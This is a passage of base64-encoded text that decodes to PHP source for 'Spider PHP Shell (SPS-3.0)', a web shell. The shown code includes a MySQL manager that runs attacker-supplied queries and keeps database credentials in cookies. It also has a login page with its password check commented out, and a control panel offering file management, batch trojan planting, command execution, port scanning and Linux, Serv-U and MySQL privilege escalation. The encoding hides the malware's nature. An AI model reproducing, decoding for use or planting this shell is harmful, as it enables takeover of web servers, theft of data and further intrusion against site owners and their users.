cWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQoJCQkJCSR1ID0gMDsNCgkJCQkJZm9yZWFjaCgkZ29vZCBhcyAkdmFyID0+ICRrZXkpDQoJCQkJCXsNCgkJCQkJCSRxdWVyeWMgLj0gJHZhci4nPVwnJy4ka2V5LidcJyBBTkQgJzsNCgkJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJHUpOw0KCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJHUpOw0KCQkJCQkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nLiR2YXIuJyA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+Jy4kdHlwZS4nKCcuJGxlbi4nKTwvZm9udD48YnI+PHRleHRhcmVhIG5hbWU9InVwc3FsWycuJHZhci4nXSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo2MHB4OyI+Jy5odG1sc3BlY2lhbGNoYXJzKCRrZXkpLic8L3RleHRhcmVhPjwvZGl2Pic7DQoJCQkJCQkkdSsrOw0KCQkJCQl9DQoJCQkJCSR3aGVyZSA9ICdXSEVSRSAnLnN1YnN0cigkcXVlcnljLCAwLCAtNCk7DQoJCQkJCWVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJ3aGVyZXZhciIgbmFtZT0id2hlcmV2YXIiIHZhbHVlPSInLmJhc2U2NF9lbmNvZGUoJHdoZXJlKS4nIj4nOw0KCQkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPic7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSRxdWVyeSA9ICdTSE9XIENPTFVNTlMgRlJPTSAnLiRfR0VUWyd0YWJsZSddOw0KCQkgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRjb25uKTsNCgkJICAgICAgJGZpZWxkcyA9IGFycmF5KCk7DQoJCSAgICAgICRyb3dfbnVtID0gbXlzcWxfbnVtX3Jvd3MobXlzcWxfcXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kX0dFVFsndGFibGUnXSwkY29ubikpOw0KCQkgICAgICBpZighaXNzZXQoJF9HRVRbJ3AnXSkpeyRwID0gMDskX0dFVFsncCddID0gMTt9IGVsc2UgJHAgPSAoKGludCkkX0dFVFsncCddLTEpKjIwOw0KCQkJCQllY2hvICc8dGFibGUgYm9yZGVyPSIwIj48dHI+JzsNCgkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjcwcHg7IiBub3dyYXA+stnX9zwvdGQ+JzsNCgkJCQkJd2hpbGUoJHJvdyA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSkNCgkJCQkJew0KCQkJCQkJYXJyYXlfcHVzaCgkZmllbGRzLCRyb3dbJ0ZpZWxkJ10pOw0KCQkJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgbm93cmFwPicuJHJvd1snRmllbGQnXS4nPC90ZD4nOw0KCQkJCQl9DQoJCQkJCWVjaG8gJzwvdHI+JzsNCgkJCQkJaWYoZXJlZ2koJ1dIRVJFfExJTUlUJywkX1BPU1RbJ25zcWwnXSkgJiYgZXJlZ2koJ1NFTEVDVHxGUk9NJywkX1BPU1RbJ25zcWwnXSkpICRxdWVyeSA9ICRfUE9TVFsnbnNxbCddOyBlbHNlICRxdWVyeSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9HRVRbJ3RhYmxlJ10uJyBMSU1JVCAnLiRwLicsIDIwOyc7DQoJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJGNvbm4pOw0KCQkJCQkkdiA9ICRwOw0KCQkJCQl3aGlsZSgkdGV4dCA9IEBteXNxbF9mZXRjaF9hc3NvYygkcmVzdWx0KSkNCgkJCQkJew0KCQkJCQkJZWNobyAnPHRyPjx0ZD48YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZ0YWJsZT0nLiRfR0VUWyd0YWJsZSddLicmcD0nLiRfR0VUWydwJ10uJyZlZGl0PScuJHYuJyI+INDeuMQgPC9hPiAnOw0KCQkJCQkJZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0iRGVsb2soXCfL/FwnLFwnP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nJnA9Jy4kX0dFVFsncCddLicmZGVsPScuJHYuJ1wnKTtyZXR1cm4gZmFsc2U7Ij4gyb6z/SA8L2E+PC90ZD4nOw0KCQkJCQkJZm9yZWFjaCgkZmllbGRzIGFzICRyb3cpe2VjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoTXlzcWxfTGVuKCR0ZXh0WyRyb3ddLDUwMCkpKS4nPC90ZD4nO30NCgkJCQkJCWVjaG8gJzwvdHI+Jy4iXHJcbiI7JHYrKzsNCgkJCQkJfQ0KCQkJCQllY2hvICc8L3RhYmxlPjxkaXYgY2xhc3M9ImFjdGFsbCI+JzsNCgkJCQkJZm9yKCRpID0gMTskaSA8PSBjZWlsKCRyb3dfbnVtIC8gMjApOyRpKyspeyRrID0gKChpbnQpJF9HRVRbJ3AnXSA9PSAkaSkgPyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPicuJGkuJzwvZm9udD4nIDogJGk7ZWNobyAnPGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsndGFibGUnXS4nJnA9Jy4kaS4nIj5bJy4kay4nXTwvYT4gJzt9DQoJCQkJCWVjaG8gJzwvZGl2Pic7DQoJCQkJfQ0KCQkJfQ0KCQkJZWxzZWlmKGlzc2V0KCRfR0VUWydpbnNlcnQnXSkpDQoJCQl7DQoJCQkJZWNobyAnPGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kX0dFVFsnaW5zZXJ0J10uJyI+Jy4kX0dFVFsnaW5zZXJ0J10uJzwvYT48L2Rpdj4nOw0KCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgnU0VMRUNUICogRlJPTSAnLiRfR0VUWydpbnNlcnQnXSwkY29ubik7DQoJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQoJCQkJZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJnRhYmxlPScuJF9HRVRbJ2luc2VydCddLiciPic7DQoJCQkJZm9yKCRpID0gMDskaSA8ICRmaWVsZG51bTskaSsrKQ0KCQkJCXsNCgkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7DQoJCQkJCSR0eXBlID0gQG15c3FsX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJGkpOw0KCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7DQoJCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+Jy4kbmFtZS4nIDxmb250IGNvbG9yPSIjRkYwMDAwIj4nLiR0eXBlLicoJy4kbGVuLicpPC9mb250Pjxicj48dGV4dGFyZWEgbmFtZT0iaW5zcWxbJy4kbmFtZS4nXSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo2MHB4OyI+PC90ZXh0YXJlYT48L2Rpdj4nOw0KCQkJCX0NCgkJCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJJbnNlcnQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPic7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHF1ZXJ5ID0gJ1NIT1cgVEFCTEUgU1RBVFVTJzsNCgkJCQkkc3RhdHVzID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJd2hpbGUoJHN0YXR1ID0gQG15c3FsX2ZldGNoX2FycmF5KCRzdGF0dXMpKQ0KCQkJCXsNCgkJCQkJJHN0YXR1c2l6ZVtdID0gJHN0YXR1WydEYXRhX2xlbmd0aCddOw0KCQkJCQkkc3RhdHVjb2xsW10gPSAkc3RhdHVbJ0NvbGxhdGlvbiddOw0KCQkJCX0NCgkJCQkkcXVlcnkgPSAnU0hPVyBUQUJMRVMgRlJPTSAnLiRfR0VUWydkYiddLic7JzsNCgkJCQllY2hvICc8L2Rpdj48dGFibGUgYm9yZGVyPSIwIj48dHI+JzsNCgkJCQllY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NTUwcHg7Ij4gse3D+yA8L3RkPic7DQoJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gstnX9yA8L3RkPic7DQoJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjEzMHB4OyI+INfWt/u8ryA8L3RkPic7DQoJCQkJZWNobyAnPHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjcwcHg7Ij4gtPPQoSA8L3RkPjwvdHI+JzsNCgkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCRxdWVyeSwkY29ubik7DQoJCQkJJGsgPSAwOw0KCQkJCXdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkNCgkJCQl7DQoJCQkJCWVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iP3M9ciZkYj0nLiRfR0VUWydkYiddLicmdGFibGU9Jy4kdGFibGVbMF0uJyI+Jy4kdGFibGVbMF0uJzwvYT48L3RkPic7DQoJCQkJCWVjaG8gJzx0ZD48YSBocmVmPSI/cz1yJmRiPScuJF9HRVRbJ2RiJ10uJyZpbnNlcnQ9Jy4kdGFibGVbMF0uJyI+ILLlyOsgPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJycuJHRhYmxlWzBdLidcJyxcJz9zPXImZGI9Jy4kX0dFVFsnZGInXS4nJmRyb3A9Jy4kdGFibGVbMF0uJ1wnKTtyZXR1cm4gZmFsc2U7Ij4gyb6z/SA8L2E+PC90ZD4nOw0KCQkJCQllY2hvICc8dGQ+Jy4kc3RhdHVjb2xsWyRrXS4nPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4nLkZpbGVfU2l6ZSgkc3RhdHVzaXplWyRrXSkuJzwvdGQ+PC90cj4nLiJcclxuIjsNCgkJCQkJJGsrKzsNCgkJCQl9DQoJCQkJZWNobyAnPC90YWJsZT4nOw0KCQkJfQ0KCQl9DQoJfQ0KCWVsc2UgZGllKCfBrL3TTVlTUUzKp7DcLMfr1tjQwrXHwr0uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3M9byI+Jyk7DQoJaWYoISRCT09MKSBlY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCduc3FsXCcpLnZhbHVlID0gXCcnLmFkZHNsYXNoZXMoJHF1ZXJ5KS4nXCc7PC9zY3JpcHQ+JzsNCglyZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIE15c3FsX28oKQ0Kew0KCW9iX3N0YXJ0KCk7DQogIGlmKGlzc2V0KCRfUE9TVFsnbWhvc3QnXSkgJiYgaXNzZXQoJF9QT1NUWydtcG9ydCddKSAmJiBpc3NldCgkX1BPU1RbJ211c2VyJ10pICYmIGlzc2V0KCRfUE9TVFsnbXBhc3MnXSkpDQogIHsNCiAgCWlmKEBteXNxbF9jb25uZWN0KCRfUE9TVFsnbWhvc3QnXS4nOicuJF9QT1NUWydtcG9ydCddLCRfUE9TVFsnbXVzZXInXSwkX1BPU1RbJ21wYXNzJ10pKQ0KCSAgew0KCSAgCSRjb29raWV0aW1lID0gdGltZSgpICsgMjQgKiAzNjAwOw0KCSAgCXNldGNvb2tpZSgnbV9zcGlkZXJob3N0JywkX1BPU1RbJ21ob3N0J10sJGNvb2tpZXRpbWUpOw0KCSAgCXNldGNvb2tpZSgnbV9zcGlkZXJwb3J0JywkX1BPU1RbJ21wb3J0J10sJGNvb2tpZXRpbWUpOw0KCSAgCXNldGNvb2tpZSgnbV9zcGlkZXJ1c2VyJywkX1BPU1RbJ211c2VyJ10sJGNvb2tpZXRpbWUpOw0KCSAgCXNldGNvb2tpZSgnbV9zcGlkZXJwYXNzJywkX1BPU1RbJ21wYXNzJ10sJGNvb2tpZXRpbWUpOw0KCSAgCWRpZSgn1f3U2rXHwr0sx+vJ1LryLi4uPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDtVUkw9P3M9ciI+Jyk7DQoJICB9DQogIH0NCnByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im9mb3JtIiBpZD0ib2Zvcm0iIGFjdGlvbj0iP3M9byI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPrXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1ob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj62y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtcG9ydCIgdmFsdWU9IjMzMDYiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPtPDu6cgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im11c2VyIiB2YWx1ZT0icm9vdCIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+w9zC6yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXBhc3MiIHZhbHVlPSIiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK1x8K9IiBzdHlsZT0id2lkdGg6ODBweDsiPiA8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iQ09PS0lFIiBzdHlsZT0id2lkdGg6ODBweDsiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9cic7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglvYl9lbmRfZmx1c2goKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KZnVuY3Rpb24gUm9vdF9Mb2dpbigkTVNHX1RPUCkNCnsNCnByaW50PDw8RU5EDQo8aHRtbD4NCgk8Ym9keSBzdHlsZT0iYmFja2dyb3VuZDojQUFBQUFBOyI+DQoJCTxjZW50ZXI+DQoJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCTxkaXYgc3R5bGU9IndpZHRoOjM1MXB4O2hlaWdodDoyMDFweDttYXJnaW4tdG9wOjEwMHB4O2JhY2tncm91bmQ6dGhyZWVkZmFjZTtib3JkZXItY29sb3I6I0ZGRkZGRiAjOTk5OTk5ICM5OTk5OTkgI0ZGRkZGRjtib3JkZXItc3R5bGU6c29saWQ7Ym9yZGVyLXdpZHRoOjFweDsiPg0KCQk8ZGl2IHN0eWxlPSJ3aWR0aDozNTBweDtoZWlnaHQ6MjJweDtwYWRkaW5nLXRvcDoycHg7Y29sb3I6I0ZGRkZGRjtiYWNrZ3JvdW5kOiMyOTNGNUY7Y2xlYXI6Ym90aDsiPjxiPnskTVNHX1RPUH08L2I+PC9kaXY+DQoJCTxkaXYgc3R5bGU9IndpZHRoOjM1MHB4O2hlaWdodDo4MHB4O21hcmdpbi10b3A6NTBweDtjb2xvcjojMDAwMDAwO2NsZWFyOmJvdGg7Ij5QQVNTOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic3BpZGVycGFzcyIgc3R5bGU9IndpZHRoOjI3MHB4OyI+PC9kaXY+DQoJCTxkaXYgc3R5bGU9IndpZHRoOjM1MHB4O2hlaWdodDozMHB4O2NsZWFyOmJvdGg7Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTE9HSU4iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQoJCTwvZGl2Pg0KCQk8L2Zvcm0+DQoJCTwvY2VudGVyPg0KCTwvYm9keT4NCjwvaHRtbD4NCkVORDsNCglyZXR1cm4gZmFsc2U7DQp9DQoNCmZ1bmN0aW9uIFdpbk1haW4oKQ0Kew0KCSRTZXJ2ZXJfSVAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdKTsNCgkkU2VydmVyX09TID0gUEhQX09TOw0KCSRTZXJ2ZXJfU29mdCA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsNCgkkU2VydmVyX0FsZXhhID0gJ2h0dHA6Ly9jbi5hbGV4YS5jb20vc2l0ZWluZm8vJy5zdHJfcmVwbGFjZSgnd3d3LicsJycsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOw0KcHJpbnQ8PDxFTkQNCjxodG1sPg0KCTx0aXRsZT4gU3BpZGVyIFBIUCBTaGVsbCAoU1BTLTMuMCkgd3d3LnhzanlpZ2VjYW9kYW5kZWRhbWEuY29tPC90aXRsZT4NCgk8aGVhZD4NCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCgkJCSp7cGFkZGluZzowOyBtYXJnaW46MDt9DQoJCQlib2R5e2JhY2tncm91bmQ6I0FBQUFBQTtmb250LWZhbWlseToiVmVyZGFuYSIsICJUYWhvbWEiLCAiy87M5SIsc2Fucy1zZXJpZjsgZm9udC1zaXplOjEzcHg7IHRleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6NXB4O3dvcmQtYnJlYWs6YnJlYWstYWxsO30NCgkJCWF7Y29sb3I6I0ZGRkZGRjt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQoJCQlhOmhvdmVye2JhY2tncm91bmQ6I0JCQkJCQjt9DQoJCQkub3V0dGFibGUge21hcmdpbjogMCBhdXRvO2hlaWdodDo1OTVweDt3aWR0aDo5NTVweDtjb2xvcjojMDAwMDAwO2JvcmRlci10b3Atd2lkdGg6IDJweDtib3JkZXItcmlnaHQtd2lkdGg6IDJweDtib3JkZXItYm90dG9tLXdpZHRoOiAycHg7Ym9yZGVyLWxlZnQtd2lkdGg6IDJweDtib3JkZXItdG9wLXN0eWxlOiBvdXRzZXQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOiBvdXRzZXQ7Ym9yZGVyLWJvdHRvbS1zdHlsZTogb3V0c2V0O2JvcmRlci1sZWZ0LXN0eWxlOiBvdXRzZXQ7Ym9yZGVyLXRvcC1jb2xvcjogI0ZGRkZGRjtib3JkZXItcmlnaHQtY29sb3I6ICM4YzhjOGM7Ym9yZGVyLWJvdHRvbS1jb2xvcjogIzhjOGM4Yztib3JkZXItbGVmdC1jb2xvcjogI0ZGRkZGRjtiYWNrZ3JvdW5kLWNvbG9yOiB0aHJlZWRmYWNlO30NCgkJCS50b3BiZyB7cGFkZGluZy10b3A6M3B4O3RleHQtYWxpZ246IGxlZnQ7Zm9udC1zaXplOjEycHg7Zm9udC13ZWlnaHQ6IGJvbGQ7aGVpZ2h0OjIycHg7d2lkdGg6OTUwcHg7Y29sb3I6I0ZGRkZGRjtiYWNrZ3JvdW5kOiAjMjkzRjVGO30NCgkJCS5ib3R0b21iZyB7cGFkZGluZy10b3A6M3B4O3RleHQtYWxpZ246IGNlbnRlcjtmb250LXNpemU6MTJweDtmb250LXdlaWdodDogYm9sZDtoZWlnaHQ6MjJweDt3aWR0aDo5NTBweDtjb2xvcjojMDAwMDAwO2JhY2tncm91bmQ6ICM4ODg4ODg7fQ0KCQkJLmxpc3RiZyB7Zm9udC1mYW1pbHk6J2x1Y2lkYSBncmFuZGUnLHRhaG9tYSxoZWx2ZXRpY2EsYXJpYWwsJ2JpdHN0cmVhbSB2ZXJhIHNhbnMnLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEzcHg7d2lkdGg6MTMwcHg7fQ0KCQkJLmxpc3RiZyBsaXtwYWRkaW5nOjNweDtjb2xvcjojMDAwMDAwO2hlaWdodDoyNXB4O2Rpc3BsYXk6YmxvY2s7bGluZS1oZWlnaHQ6MjZweDt0ZXh0LWluZGVudDowcHg7fQ0KCQkJLmxpc3RiZyBsaSBhe3BhZGRpbmctdG9wOjJweDtiYWNrZ3JvdW5kOiNCQkJCQkI7Y29sb3I6IzAwMDAwMDtoZWlnaHQ6MjVweDtkaXNwbGF5OmJsb2NrO2xpbmUtaGVpZ2h0OjI0cHg7dGV4dC1pbmRlbnQ6MHB4O2JvcmRlci1jb2xvcjojOTk5OTk5ICM5OTk5OTkgIzk5OTk5OSAjOTk5OTk5O2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O3RleHQtZGVjb3JhdGlvbjpub25lO30NCgkJPC9zdHlsZT4NCgkJPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+DQoJCQlmdW5jdGlvbiBzd2l0Y2hUYWIodGFiaWQpDQoJCQl7DQoJCQkJaWYodGFiaWQgPT0gJycpIHJldHVybiBmYWxzZTsNCgkJCQlmb3IodmFyIGk9MDtpPD0xNDtpKyspDQoJCQkJew0KCQkJCQlpZih0YWJpZCA9PSAndF8nK2kpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmlkKS5zdHlsZS5iYWNrZ3JvdW5kPSIjRkZGRkZGIjsNCgkJCQkJZWxzZSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndF8nK2kpLnN0eWxlLmJhY2tncm91bmQ9IiNCQkJCQkIiOw0KCQkJCX0NCgkJCQlyZXR1cm4gdHJ1ZTsNCgkJCX0NCgkJPC9zY3JpcHQ+DQoJPC9oZWFkPg0KCTxib2R5Pg0KCQk8ZGl2IGNsYXNzPSJvdXR0YWJsZSI+DQoJCTxkaXYgY2xhc3M9InRvcGJnIj4gJm5ic3A7IHskU2VydmVyX0lQfSAtIHskU2VydmVyX09TfSAtIDxhIGhyZWY9InskU2VydmVyX0FsZXhhfSIgdGFyZ2V0PSJfYmxhbmsiPkFsZXhhPC9hPjwvZGl2Pg0KCQkJPGRpdiBzdHlsZT0iaGVpZ2h0OjU0NnB4OyI+DQoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIGJvcmRlcj0wIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQoJCQkJPHRyPg0KCQkJCTx0ZCB3aWR0aD0iMTQwIiBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI+DQoJCQkJCTx1bCBjbGFzcz0ibGlzdGJnIj4NCgkJCQkJCTxsaT48YSBocmVmPSI/cz1hIiBpZD0idF8wIiBvbmNsaWNrPSJzd2l0Y2hUYWIoJ3RfMCcpIiBzdHlsZT0iYmFja2dyb3VuZDojRkZGRkZGOyIgdGFyZ2V0PSJtYWluIj4gzsS8/rncwO0gPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9YiIgaWQ9InRfMSIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzEnKSIgdGFyZ2V0PSJtYWluIj4gxfrBv7nSwu0gPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9YyIgaWQ9InRfMiIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzInKSIgdGFyZ2V0PSJtYWluIj4gxfrBv8flwu0gPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9ZCIgaWQ9InRfMyIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzMnKSIgdGFyZ2V0PSJtYWluIj4gxfrBv8zmu7sgPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9ZSIgaWQ9InRfNCIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzQnKSIgdGFyZ2V0PSJtYWluIj4gyajD6MS+wu0gPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9ZiIgaWQ9InRfNSIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzUnKSIgdGFyZ2V0PSJtYWluIj4gz7XNs9DFz6IgPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9ZyIgaWQ9InRfNiIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzYnKSIgdGFyZ2V0PSJtYWluIj4g1rTQ0MP8we4gPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9aCIgaWQ9InRfNyIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzcnKSIgdGFyZ2V0PSJtYWluIj4g1+m8/r3Tv9ogPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9aSIgaWQ9InRfOCIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzgnKSIgdGFyZ2V0PSJtYWluIj4gyajD6LbLv9ogPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9aiIgaWQ9InRfOSIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzknKSIgdGFyZ2V0PSJtYWluIj4gy9HL987EvP4gPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9ayIgaWQ9InRfMTAiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMCcpIiB0YXJnZXQ9Im1haW4iPiBMaW51eMzhyKggPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9bCIgaWQ9InRfMTEiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMScpIiB0YXJnZXQ9Im1haW4iPiBTZXJ2VczhyKggPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9bSIgaWQ9InRfMTIiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMicpIiB0YXJnZXQ9Im1haW4iPiBNWVNRTMzhyKggPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9biIgaWQ9InRfMTMiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xMycpIiB0YXJnZXQ9Im1haW4iPiBNWVNRTNa00NAgPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9byIgaWQ9InRfMTQiIG9uY2xpY2s9InN3aXRjaFRhYigndF8xNCcpIiB0YXJnZXQ9Im1haW4iPiBNWVNRTLncwO0gPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0iP3M9bG9nb3V0IiBpZD0idF8xNSIgb25jbGljaz0ic3dpdGNoVGFiKCd0XzE1JykiPiDNy7P2z7XNsyA8L2E+PC9saT4NCgkJCQkJPC91bD4NCgkJCQk8L3RkPg0KCQkJCTx0ZD4NCgkJCQk8aWZyYW1lIG5hbWU9Im1haW4iIHNyYz0iP3M9YSIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPg0KCQkJCTwvdGQ+DQoJCQkJPC90cj4NCgkJCQk8L3RhYmxlPg0KCQkJPC9kaXY+DQoJCTxkaXYgY2xhc3M9ImJvdHRvbWJnIj4geyRTZXJ2ZXJfU29mdH0gPC9kaXY+DQoJCTwvZGl2Pg0KCTwvYm9keT4NCjwvaHRtbD4NCkVORDsNCnJldHVybiBmYWxzZTsNCn0NCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkNCnsNCgkkX0dFVCA9IFJvb3RfR1AoJF9HRVQpOw0KCSRfUE9TVCA9IFJvb3RfR1AoJF9QT1NUKTsNCn0NCmlmKCRfR0VUWydzJ10gPT0gJ2xvZ291dCcpDQp7DQoJc2V0Y29va2llKCdhZG1pbl9zcGlkZXJwYXNzJyxOVUxMKTsNCglkaWUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7VVJMPT8iPicpOw0KfQ0KLyogaWYoJF9DT09LSUVbJ2FkbWluX3NwaWRlcnBhc3MnXSAhPSBtZDUoJHBhc3N3b3JkKSkNCnsNCglvYl9zdGFydCgpOw0KCSRNU0dfVE9QID0gJ0xPR0lOJzsNCglpZihpc3NldCgkX1BPU1RbJ3NwaWRlcnBhc3MnXSkpDQoJew0KCQkvLyRjb250ZW50PWZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOw0KCQkkY29va2lldGltZSA9IHRpbWUoKSArIDI0ICogMzYwMDsNCgkJDQoJCXNldGNvb2tpZSgnYWRtaW5fc3BpZGVycGFzcycsbWQ1KCRfUE9TVFsnc3BpZGVycGFzcyddKSwkY29va2lldGltZSk7DQoJCWVjaG8gJF9DT09LSUVbJ2FkbWluX3NwaWRlcnBhc3MnXTtleGl0KCk7DQoJfQ0KCVJvb3RfTG9naW4oJE1TR19UT1ApOw0KCW9i